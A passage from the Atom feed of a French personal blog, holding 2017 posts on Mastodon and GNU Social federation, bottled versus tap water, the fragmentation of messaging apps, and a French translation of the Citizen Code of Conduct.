&lt;p&gt;Outre que c&amp;rsquo;est &lt;strong&gt;libre&lt;/strong&gt; — &lt;a href="https://www.gnu.org/philosophy/free-sw.fr.html"&gt;chaque utilisateur a la liberté d&amp;rsquo;exécuter, copier, distribuer, étudier, modifier et améliorer ce logiciel&lt;/a&gt; — et &lt;strong&gt;décentralisé&lt;/strong&gt; — je ne dois pas faire confiance à une seule société privatrice (je parle comme &lt;a href="https://gnusocial.no/rms"&gt;rms&lt;/a&gt;) mais à une instance que je choisis parmi toutes et c&amp;rsquo;est en elle que je veux faire confiance — le logiciel repose sur le &lt;a href="https://en.wikipedia.org/wiki/OStatus"&gt;standard &lt;strong&gt;OStatus&lt;/strong&gt;&lt;/a&gt; lui-même basé sur plusieurs protocoles. Ce standard explique comment distribuer des mises à jour de statuts sur le réseau.&lt;/p&gt;
&lt;p&gt;— En quoi est-ce intéressant ?&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;on sait déjà qu&amp;rsquo;un logiciel décentralisé permet d&amp;rsquo;être installé par plusieurs personnes différentes. L&amp;rsquo;intérêt d&amp;rsquo;un standard ouvert, c&amp;rsquo;est que l&amp;rsquo;on peut écrire &lt;strong&gt;d&amp;rsquo;autres programmes&lt;/strong&gt; mettant en œuvre ce même standard…&lt;/p&gt;
&lt;p&gt;Et bien, Mastodon n&amp;rsquo;est pas seul. Le premier à avoir utilisé ce standard est StatusNet, aujourd&amp;rsquo;hui devenu &lt;a href="https://gnu.io/social/"&gt;Gnu Social&lt;/a&gt;. Les technologies utilisées par les deux logiciels sont très différentes, les interfaces aussi… et ils communiquent. Je peux choisir d&amp;rsquo;utiliser Gnu Social et, lorsque je poste un statut, ce statut peut être lu par les utilisateurs de Mastodon. Et &lt;strong&gt;ça&lt;/strong&gt;, c&amp;rsquo;est beau. Si si.&lt;/p&gt;
&lt;p&gt;Illustration avec mon compte Gnu Social (chez &lt;a href="http://quitter.se/"&gt;http://quitter.se&lt;/a&gt;) et mon compte Mastodon (chez &lt;a href="http://witches.town/"&gt;http://witches.town&lt;/a&gt;). J&amp;rsquo;envoie un message de Mastodon et je le vois chez Gnu Social puisque je me suis (oui, nous sommes plusieurs dans ma tête). Ensuite, j&amp;rsquo;écris un message chez Gnu Social et je vois le résultat après avoir entré « Envoyer ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-gnusocial-mastodon.jpg" src="/images/screenshot-gnusocial-mastodon.jpg" title="Deux screenshots. L'un de Gnu Social (chez quitter.se) et l'autre de Mastodon (chez witche.town)"&gt;&lt;/p&gt;
&lt;p&gt;Pour conclure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;si vous n&amp;rsquo;êtes pas trop &lt;em&gt;geeks&lt;/em&gt;, créez-vous un compte sur &lt;a href="https://github.com/tootsuite/mastodon/blob/master/docs/Using-Mastodon/List-of-Mastodon-instances.md"&gt;une instance de Mastodon&lt;/a&gt; ou sur &lt;a href="http://skilledtests.com/wiki/List_of_Independent_GNU_social_Instances"&gt;une instance de Gnu Social&lt;/a&gt; en laquelle vous faites confiance et profitez;&lt;/li&gt;
&lt;li&gt;si ça vous botte, installez votre propre instance de Mastodon (Node.js, PostgresSQL, Ruby) ou bien de Gnu Social (PHP, MySQL).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ça sent bon, laissons mijoter…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://strykmig.deviantart.com/art/birds-79088981"&gt;Strykmig&lt;/a&gt;. Des oiseaux. On ne le voit pas bien mais ils sont de couleurs différentes… et communiquent ;-)&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>De l'eau en bouteille alors que tu as un robinet ! Sérieusement.</title><link href="http://blog.namok.be/2017-03-31-eau-en-bouteille-robinet-serieusement.html" rel="alternate"/><published>2017-03-31T00:00:00+02:00</published><updated>2017-03-31T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-03-31:/2017-03-31-eau-en-bouteille-robinet-serieusement.html</id><summary type="html">De l'eau en bouteille alors que tu as un robinet ! Sérieusement.</summary><content type="html">&lt;p&gt;&lt;img alt="good_enough_to_drink_by_andyjimmy_1400.jpg" src="/images/good_enough_to_drink_by_andyjimmy_1400.jpg" title="good_enough_to_drink_by_andyjimmy_1400.jpg, mar. 2017"&gt;&lt;/p&gt;
&lt;p&gt;— L&amp;rsquo;eau c&amp;rsquo;est la vie.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;eau est une ressource vitale qui n&amp;rsquo;appartient à personne et à tout le monde. En tant que ressource vitale, elle doit être accessible à tous et gérée par tous en « bon père de famille ».&lt;/p&gt;
&lt;p&gt;En Bolivie en 2000, la firme Bechtel a fait pression pour obtenir la privatisation du service d&amp;rsquo;eau de Cochabamba, troisième ville du pays. Ça encouragerait les firmes privées à améliorer le réseau et à étendre l&amp;rsquo;accès à l&amp;rsquo;eau aux plus pauvres. &lt;em&gt;Ouais.&lt;/em&gt; Dans la pratique les tarifs ont augmentés de 50% au moins. Ils ont été jusqu&amp;rsquo;à interdire la collecte des eaux de pluie sur les toits. Pour la population indigène de Cochabamba payer cette eau est impossible. Les manifestants de Cochabamba ont fini par obtenir gain de cause et l&amp;rsquo;eau est redevenue sous contrôle public.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;histoire en un dessin animé &lt;a href="https://vimeo.com/11429985"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;
&lt;div style="padding:56.25% 0 0 0;position:relative;"&gt;&lt;iframe src="https://player.vimeo.com/video/11429985?badge=0&amp;amp;autopause=0&amp;amp;player_id=0&amp;amp;app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Abuela Grillo"&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;script src="https://player.vimeo.com/api/player.js"&gt;&lt;/script&gt;

&lt;p&gt;&lt;a href="https://vimeo.com/11429985"&gt;Abuela Grillo&lt;/a&gt; from &lt;a href="https://vimeo.com/user2921758"&gt;Denis Chapon&lt;/a&gt; on &lt;a href="https://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous avons la chance d&amp;rsquo;avoir de l&amp;rsquo;eau potable au robinet pour un prix raisonnable. Les multinationales tentent tous les jours de s&amp;rsquo;accaparer les ressources d&amp;rsquo;eau souterraine dans le monde pour les mettre en bouteille. Une fois mise en bouteille cette eau peut être vendue 4000 fois le prix !&lt;/p&gt;
&lt;p&gt;Chaque bouteille d&amp;rsquo;eau achetée — outre le fait qu&amp;rsquo;elle génère du déchet — encourage et enrichit ces entreprises privées. Cet achat encourage la privatisation et la marchandisation d&amp;rsquo;une richesse partagée. L&amp;rsquo;eau. C&amp;rsquo;est l&amp;rsquo;&lt;a href="http://multinationales.org/David-Bollier-Les-communs-nous"&gt;&lt;em&gt;enclosure des communs&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://andyjimmy.deviantart.com/art/Good-enough-to-Drink-146873816"&gt;Andy Jimmy&lt;/a&gt;. L&amp;rsquo;eau du robinet est suffisament bonne que pour la boire.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Communication instantanée, un grand pas en avant !</title><link href="http://blog.namok.be/2017-03-28-communication-instantanee-un-grand-pas-en-avant.html" rel="alternate"/><published>2017-03-28T00:00:00+02:00</published><updated>2017-03-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-03-28:/2017-03-28-communication-instantanee-un-grand-pas-en-avant.html</id><summary type="html">Réflexion sur l'évolution des moyens de communication instantanée, leur impact sur nos relations sociales, et comment les GAMAM contrôlent nos échanges.</summary><content type="html">&lt;p&gt;&lt;img alt="17265644_1337115466326110_2928720722920472576_n.jpg" src="/images/17265644_1337115466326110_2928720722920472576_n.jpg" title="17265644_1337115466326110_2928720722920472576_n.jpg, mar. 2017" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Les emails font parties intégrantes de notre vie professionnelle et privée.&lt;/p&gt;
&lt;p&gt;Les emails font parties intégrantes de notre vie professionnelle… dans le privé, les &lt;em&gt;chats&lt;/em&gt; Facebook et autres &lt;em&gt;messenger apps&lt;/em&gt; ont supplantés ces emails.&lt;/p&gt;
&lt;p&gt;La plupart &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; d&amp;rsquo;entre nous n&amp;rsquo;utilisent plus l&amp;rsquo;email pour garder le contact avec les amis et connaissances. Ces échanges se sont déplacés sur les plateformes sociales où chacun décide d&amp;rsquo;y être présent ou pas. Je suis présent sur Facebook &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; « comme tout le monde » &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; mais pas sur Snapchat, Viber… ni — ou très rarement — sur Skype et autres…&lt;/p&gt;
&lt;p&gt;Je dois donc être présent là ou mes amis sont présents … ou alors je cours le risque — et suis-je prêt ? — de ne garder le contact qu&amp;rsquo;avec les connaissances présentes sur les réseaux qui nous sont communs. Je garde le contact — ou je raconte ma vie — sur les réseaux sociaux en parlant à tout le monde — et donc à personne. En fait j&amp;rsquo;informe ceux qui sont là et très peu interragissent. Je ne communique finalement que dans un sens.&lt;/p&gt;
&lt;p&gt;Pour prendre des nouvelles, pour dialoguer, pour être en contact, pour avoir une réponse à ma question, j&amp;rsquo;utilise le chat Facebook (Messenger), Whatsapp, Signal &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, Viber, Telegram, Hangout… tous des services de &lt;strong&gt;messageries instantanées&lt;/strong&gt; qui n&amp;rsquo;ont plus d&amp;rsquo;instantané que le nom d&amp;rsquo;ailleurs, puisque aujourd&amp;rsquo;hui plus besoin d&amp;rsquo;être connecté pour recevoir le message. J&amp;rsquo;envoie. Il reçoit. Il lira plus tard.&lt;/p&gt;
&lt;p&gt;Je me rappelle cette époque lointaine où existaient — et tentaient de cohabiter — ICQ, MSN et Jabber. Tout le monde utilisait MSN tandis que des irréductibles barbus tentaient de faire adopter un protocole &lt;strong&gt;libre&lt;/strong&gt; et &lt;strong&gt;décentralisé&lt;/strong&gt; appelé Jabber. Malgré les avantages et les explications, l&amp;rsquo;immense majorité des utilisateurs restaient sur MSN &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Beaucoup trouvaient pratique d&amp;rsquo;utiliser une seule application pour communiquer avec tous les copains quel que soit le protocole qu&amp;rsquo;ils utilisent. On a alors vu fleurir les clients multiprotocoles; Pidgin, Kopete, Trillian. Puis Google a annoncé que son client de messagerie utiliserait le protocole Jabber. Grande lueur d&amp;rsquo;espoir. Serait-il possible que &lt;strong&gt;chacun puisse choisir le client qu&amp;rsquo;il veut ainsi que le serveur sur lequel s&amp;rsquo;inscrire et que tout le monde puisse discuter en ayant fait ses propres choix&lt;/strong&gt; ? Serait-on sur la bonne voie ? &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Juste (&lt;code&gt;justeleblanc@msn.com&lt;/code&gt;) parle avec son amie Marlène (&lt;code&gt;marlenesassoeur@ jabber.fr&lt;/code&gt;) et son pote Pierre (&lt;code&gt;pierrebrochant@gmail.com&lt;/code&gt;).&lt;br&gt;
Tous ont des comptes sur des serveurs différents et pourtant, ils discutent.&lt;br&gt;
C&amp;rsquo;est beau.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Mais Google est fourbe &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; et les autres, tout comme lui, veulent stocker nos messages. Les lire ? Non pour sûr ! Ils veulent savoir avec qui on est copain.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, j&amp;rsquo;utilise Whatsapp pour parler avec mes copains qui utilisent Whatsapp.&lt;br&gt;
Signal pour ceux qui utilisent Signal &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;br&gt;
Messenger pour ceux qui utilisent Messenger.&lt;br&gt;
Kik pour ceux qui utilisent Kik.&lt;br&gt;
Telegram pour ceux qui utilisent Telegram.&lt;br&gt;
Viber pour ceux qui utilisent Viber.&lt;br&gt;
Snapchat pour ceux qui utilisent Snapchat.&lt;br&gt;
WeChat pour ceux qui utilisent WeChat.&lt;br&gt;
Skype pour ceux qui utilisent Skype.&lt;/p&gt;
&lt;p&gt;On a fait un grand pas en avant.&lt;br&gt;
Avant nous étions au bord du gouffre…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo de &lt;a href="https://instagram.com/quiles_artworks/"&gt;Luis Quiles&lt;/a&gt;. Luis dénonce beaucoup de situations dans un style un peu malsain sans doute, percutant surement.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je n&amp;rsquo;ai bien sûr aucun chiffre, c&amp;rsquo;est ma perception que je vous invite à confirmer ou infirmer en commentaires ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mon usage de Facebook a bien évolué ces dernières années. Est-ce que tout le monde est bien conscient que Facebook utilise un algorithme qui lui est propre pour montrer ou pas les statuts de ses amis ?  Actuellement, je me connecte à mon compte Facebook une fois par mois… à la louche.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Non Antoine, inutile de me dire que tu n&amp;rsquo;as pas de compte Facebook, je sais et tu n&amp;rsquo;es évidemment pas le seul. Vous êtes légion…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Ceci est un message subliminal. &lt;em&gt;Use Signal Luke not Whathsapp&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;éternel problème du logiciel libre; tout le monde utilise Facebook, pas Diaspora, tout le monde utilise Twitter, pas Quitter (GNU Social), Twister, tout le monde utilise Slack pas Mattermost…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Google utilise souvent la même manière de fonctionner : Il choisit une technologie libre et annonce qu&amp;rsquo;il va la supporter (exemple Jabber). Les développeurs et les utilisateurs de cette technologie sont contents et rejoignent le projet (avec mon compte Jabber, je peux discuter avec les adresses &lt;code&gt;gmail.com&lt;/code&gt;). Une fois que les utilisateurs sont bien là, Google change de technologie (Gtalk devient Hangout qui n&amp;rsquo;est plus Jabber) et les utilisateurs non-informés restent. Google est gagnant…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Ah non, on me dit que l&amp;rsquo;on est que deux.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Code de bonne conduite</title><link href="http://blog.namok.be/2017-03-20-code-de-bonne-conduite.html" rel="alternate"/><published>2017-03-20T00:00:00+01:00</published><updated>2017-03-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-03-20:/2017-03-20-code-de-bonne-conduite.html</id><summary type="html">Présentation et traduction libre d’un code de bonne conduite pour les communautés, inspiré du Citizen Code of Conduct.</summary><content type="html">&lt;p&gt;&lt;img alt="77d41c54644497887cf36c4015b7cacc.jpg" src="/images/77d41c54644497887cf36c4015b7cacc.jpg" title="77d41c54644497887cf36c4015b7cacc.jpg, mar. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;code de bonne conduite&lt;/strong&gt; est un document expliquant ce qui est attendu de la part des membres d&amp;rsquo;une communauté quant-à l&amp;rsquo;attitude à avoir les uns vis à vis des autres. Une sorte de « &lt;em&gt;règlement du vivre-ensemble&lt;/em&gt; ».&lt;/p&gt;
&lt;p&gt;Comme je conçois la communication, je préfère parler de manière positive et préciser ce qui est attendu des participants à la communauté plutôt que d&amp;rsquo;essayer de lister les mauvais comportements.&lt;/p&gt;
&lt;p&gt;Une première approche sans doute un peu naïve me ferait écrire:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Notre &lt;em&gt;super projet&lt;/em&gt; a adopté un code de conduite pour les participants lors de toutes les communications qui interviennent entre eux; liste de diffusions, mails, discussion instantanée… Les participants s&amp;rsquo;engagent à&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;être respectueux les uns vis à vis des autres dans toutes leurs différences;&lt;/li&gt;
&lt;li&gt;supposer toujours que les autres sont de bonne foi tout comme eux et ce, même s&amp;rsquo;ils sont de cultures différentes;&lt;/li&gt;
&lt;li&gt;collaborer ensemble pour atteindre le but commun;&lt;/li&gt;
&lt;li&gt;être concis dans leur communication;&lt;/li&gt;
&lt;li&gt;accepter que les autres ne répondent pas tout de suite ou ne répondent simplement pas du tout.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lorsque je m&amp;rsquo;intéresse à la rédaction de ce code de bonne conduite — lire ce &lt;a href="https://adainitiative.org/2014/02/18/howto-design-a-code-of-conduct-for-your-community/"&gt;&lt;em&gt;how to&lt;/em&gt; en anglais&lt;/a&gt; — je comprends que l&amp;rsquo;on ne peut pas toujours se contenter d&amp;rsquo;être positif et qu&amp;rsquo;il vaut mieux parfois être plus explicite en précisant ce qui est clairement &lt;strong&gt;not okay&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;Je suis un home blanc hétéro&lt;/a&gt; ce qui ne me donne aucune légitimité pour parler de sexisme, de racisme ou d&amp;rsquo;homophobie &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;2&lt;/a&gt;&lt;/sup&gt;. Alors je lis &lt;a href="http://geekfeminism.wikia.com/wiki/Timeline_of_incidents"&gt;une timeline d&amp;rsquo;incidents&lt;/a&gt; pour me rendre compte et je comprends mieux ce qui motive à écrire des règles plus précises et explicitant clairement les comportements qui ne sont pas acceptés.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Why do we need a code of conduct ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We want open source to be safe and welcoming for all interested participants, but unfortunately that is not always the case. Our intent is to provide clear information about desired and undesired behaviors in our communities, and to enable community members to take action toward making these spaces better for everyone.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pourquoi un code de conduite est-il nécessaire ?&lt;/p&gt;
&lt;p&gt;Nous voulons que l&amp;rsquo;&lt;em&gt;open source&lt;/em&gt; soit sécurisant et acceuillant pour tous et toutes les participantes intéressées &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;1&lt;/a&gt;&lt;/sup&gt; ce qui n&amp;rsquo;est pas toujours le cas. Notre intention est de fournir des informations claires au sujet des comportements attendus et indésirables au sein de notre communauté. Nous voulons aussi permettre à nos membres de prendre des mesures pour rendre ces espaces meilleurs pour tous.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://citizencodeofconduct.org/"&gt;Extrait de Citizen code of conduct&lt;/a&gt; et traduction libre.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://geekfeminism.wikia.com/wiki/Code_of_conduct_evaluations"&gt;Geek fiminism évalue les codes de bonne conduite&lt;/a&gt; de différentes communautés (&lt;a href="https://www.debian.org/code_of_conduct"&gt;Debian par exemple&lt;/a&gt;) et &lt;a href="http://citizencodeofconduct.org/"&gt;Citizen code of conduct&lt;/a&gt; propose un template que je traduis ici. N&amp;rsquo;étant pas bilingue, la traduction est très libre.&lt;/p&gt;
&lt;blockquote&gt;
&lt;h3&gt;1. Objectif&lt;/h3&gt;
&lt;p&gt;Un des objectifs principaux de MA_COMUNAUTÉ est d&amp;rsquo;accueillir un maximum de contributeurs, d&amp;rsquo;expérience et d&amp;rsquo;origine aussi variées que diverses. Pour ce faire, nous voulons fournir un environnement pour tous; amical, sécurisant et accueillant. Et ce, quel que soit le genre, l&amp;rsquo;orientation sexuelle, les compétences, l&amp;rsquo;origine ethnique, le statut socio-économique, la religion (ou l&amp;rsquo;absence de religion).&lt;/p&gt;
&lt;p&gt;Ce code de bonne conduite décrit nos attentes à l&amp;rsquo;égard de tous ceux qui participent à notre communauté, ainsi que les conséquences pour un comportement inacceptable.&lt;/p&gt;
&lt;p&gt;Nous invitons tous les participants de MA_COMUNAUTÉ à nous aider à créer un environnement sécurisant et accueillant pour tous.&lt;/p&gt;
&lt;h3&gt;2. Philosophie du « libre »&lt;/h3&gt;
&lt;p&gt;Un objectif supplémentaire de ce code de bonne conduite est d&amp;rsquo;accroitre la philosophie du libre en encourageant les participants à reconnaitre et à renforcer les liens entre nos actions et leurs effets sur notre communauté.&lt;/p&gt;
&lt;p&gt;Les différentes communautés reflètent la société dans laquelle elles évoluent et l&amp;rsquo;action positive est essentielle pour contrer les nombreuses formes d&amp;rsquo;inégalité et d&amp;rsquo;abus de pouvoir qui existent dans notre société.&lt;/p&gt;
&lt;p&gt;Si vous voyez quelqu&amp;rsquo;un qui fait un effort supplémentaire pour s&amp;rsquo;assurer que notre communauté soit accueillante, amicale et encourage tous les participants à contribuer au maximum, nous apprécions de le savoir.&lt;/p&gt;
&lt;h3&gt;3. Comportements attendus&lt;/h3&gt;
&lt;p&gt;Nous attendons — et exigeons — de nos membres les comportements suivants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;participez de manière authentique et active. Ce faisant, vous contribuez à la bonne santé et la longévité de cette communauté;&lt;/li&gt;
&lt;li&gt;exercez à la fois considération et respect dans votre discours et dans vos actions;&lt;/li&gt;
&lt;li&gt;tentez toujours la collaboration avant d&amp;rsquo;entrer en conflit;&lt;/li&gt;
&lt;li&gt;abstenez vous de vous comporter ou de parler de manière dégradante, discriminatoire ou harcelante;&lt;/li&gt;
&lt;li&gt;soyez attentif à votre environnement et à vos collègues. Prévenez les responsables de la communauté si vous remarquez une situation dangereuse, quelqu&amp;rsquo;un en détresse, ou si vous constatez une violations de ce code de conduite. Et ce, même si ça vous parait anodin.&lt;/li&gt;
&lt;li&gt;lors d&amp;rsquo;évènements communautaires, rappelez vous que le lieu dans lequel vous vous trouvez peut être ouvert au public. Soyez respectueux des visiteurs de ces lieux.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Comportements inacceptables&lt;/h3&gt;
&lt;p&gt;Les comportements suivants sont considérés comme du harcèlement et sont inacceptables dans notre communauté:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;violence, menace de violence, ou langage violent à l&amp;rsquo;encontre de quelqu&amp;rsquo;un;&lt;/li&gt;
&lt;li&gt;blagues et langages sexistes, racistes, homophobe, *transphobe*, à l&amp;rsquo;encontre des personnes handicapées ou n&amp;rsquo;importe quelle autre discrimination;&lt;/li&gt;
&lt;li&gt;diffuser ou afficher sur tout support du matériel sexuellement explicite ou violent;&lt;/li&gt;
&lt;li&gt;diffuser ou menacer de diffuser des informations personnelles;&lt;/li&gt;
&lt;li&gt;insulter, en particulier les insultes liées genre, à l&amp;rsquo;orientation sexuelle, à la race, à la religion ou au handicap;&lt;/li&gt;
&lt;li&gt;photographier ou filmer de manière inappropriée;&lt;/li&gt;
&lt;li&gt;se permettre des contacts physiques inappropriés. Vous devez avoir le consentement de quelqu&amp;rsquo;un avant de le toucher;&lt;/li&gt;
&lt;li&gt;donner une attention sexuelle importune. Cela comprend, les commentaires sexualisés ou les blagues du même acabit, le toucher et le tâtonnement inappropriés ainsi que les avances sexuelles non agréées;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;intimidation délibérée, le harcèlement ou le fait de suivre quelqu&amp;rsquo;un (en ligne ou en personne);&lt;/li&gt;
&lt;li&gt;défendre, prôner ou encourager l&amp;rsquo;un des comportements ci-dessus;&lt;/li&gt;
&lt;li&gt;interrompre de manière répétitive et délibérée des événements communautaires, comme les présentations et les exposés.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. Politique des armes.&lt;/h3&gt;
&lt;p&gt;Les armes ne sont pas autorisées lors des évènements organisés pour MA_COMUNAUTÉ ni dans les espaces couverts par ce code de bonne conduite. « Arme » ne signifie pas seulement les armes à feu ni les explosifs mais également les couteaux et tout ce qui peut blesser ou porter atteinte à l&amp;rsquo;intégrité physique d&amp;rsquo;autrui.&lt;/p&gt;
&lt;p&gt;Toute personne vue en possession d&amp;rsquo;une arme sera invitée à quitter l&amp;rsquo;évènement et ne sera autorisée à y revenir qu&amp;rsquo;à la condition où elle n&amp;rsquo;est plus en possession d&amp;rsquo;une arme.&lt;/p&gt;
&lt;h3&gt;6. Conséquences d&amp;rsquo;un comportement inacceptable&lt;/h3&gt;
&lt;p&gt;Un comportement inacceptable de la part d&amp;rsquo;un membre de la communauté, incluant les sponsors et les responsables, ne peuvent pas — par définition — être tolérés.&lt;/p&gt;
&lt;p&gt;Toute personne à qui l&amp;rsquo;on demande de cesser un tel comportement est prié de s&amp;rsquo;exécuter immédiatement.&lt;/p&gt;
&lt;p&gt;Si un membre de la communauté se rend coupable d&amp;rsquo;un tel comportement, les organisateurs et responsables peuvent prendre les sanctions appropriées jusqu&amp;rsquo;à une exclusion temporaire ou définitive de la communauté et ce, sans avertissement (et sans remboursement le cas échéant).&lt;/p&gt;
&lt;h3&gt;7. Que faire si vous constatez des comportements inacceptables ?&lt;/h3&gt;
&lt;p&gt;Si vous êtes visé par un comportement inacceptable, si vous en êtes le témoin ou si le sujet vous préoccupe veuillez en informer un organisateur dès que possible.&lt;/p&gt;
&lt;p&gt;[INFORMATIONS DE CONTACT]&lt;/p&gt;
&lt;p&gt;En outre, les organisateurs ou responsables sont disponibles pour aider les membres de la communauté à engager des poursuites légales ou pour aider les victimes de ces comportement afin qu&amp;rsquo;elles se sentent en sécurité.&lt;/p&gt;
&lt;p&gt;Dans le contexte d&amp;rsquo;événements &lt;em&gt;in real&lt;/em&gt;, les organisateurs proposeront d&amp;rsquo;escorter la personne en détresse si elle le désire.&lt;/p&gt;
&lt;h3&gt;8. Que faire si vous estimez être accusé injustement ?&lt;/h3&gt;
&lt;p&gt;Si vous estimez avoir été injustement accusé d&amp;rsquo;avoir violer ce code de bonne conduite ou si vous pensez être victime de diffamation, veuillez en informer un responsable de la communauté avec une description précise de votre grief.&lt;/p&gt;
&lt;h3&gt;9. Portée&lt;/h3&gt;
&lt;p&gt;Nous nous attendons à ce que tous les participants de la communauté (contributeurs, payants ou non, commanditaires, et autres invités) respectent ce code de conduite dans tous les lieux communautaires — en ligne et en personne — ainsi que dans toutes les communications individuelles dans le cadre de la communauté.&lt;/p&gt;
&lt;p&gt;Ce code de conduite et ses procédures connexes s&amp;rsquo;appliquent également aux comportements inacceptables qui se produisent en dehors des activités communautaires lorsque ce comportement peut potentiellement nuire à la sécurité et au bien-être des membres de la communauté.&lt;/p&gt;
&lt;h3&gt;10. Coordonnées&lt;/h3&gt;
&lt;p&gt;[VOTRE INFO DE CONTACT ICI - ceci devrait être une seule personne ou une petite équipe qui peut répondre et traiter les demandes directement]&lt;/p&gt;
&lt;h3&gt;11. Licence et attribution&lt;/h3&gt;
&lt;p&gt;Ce code de bonne conduite est distribué sous licence CC-BY-SA.&lt;/p&gt;
&lt;p&gt;Ce texte est une traduction libre de Citizen code of conduct faite par moi et mon anglais approximatif.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Traduction (très libre) de &lt;a href="http://citizencodeofconduct.org/"&gt;Citizen code of conduct&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
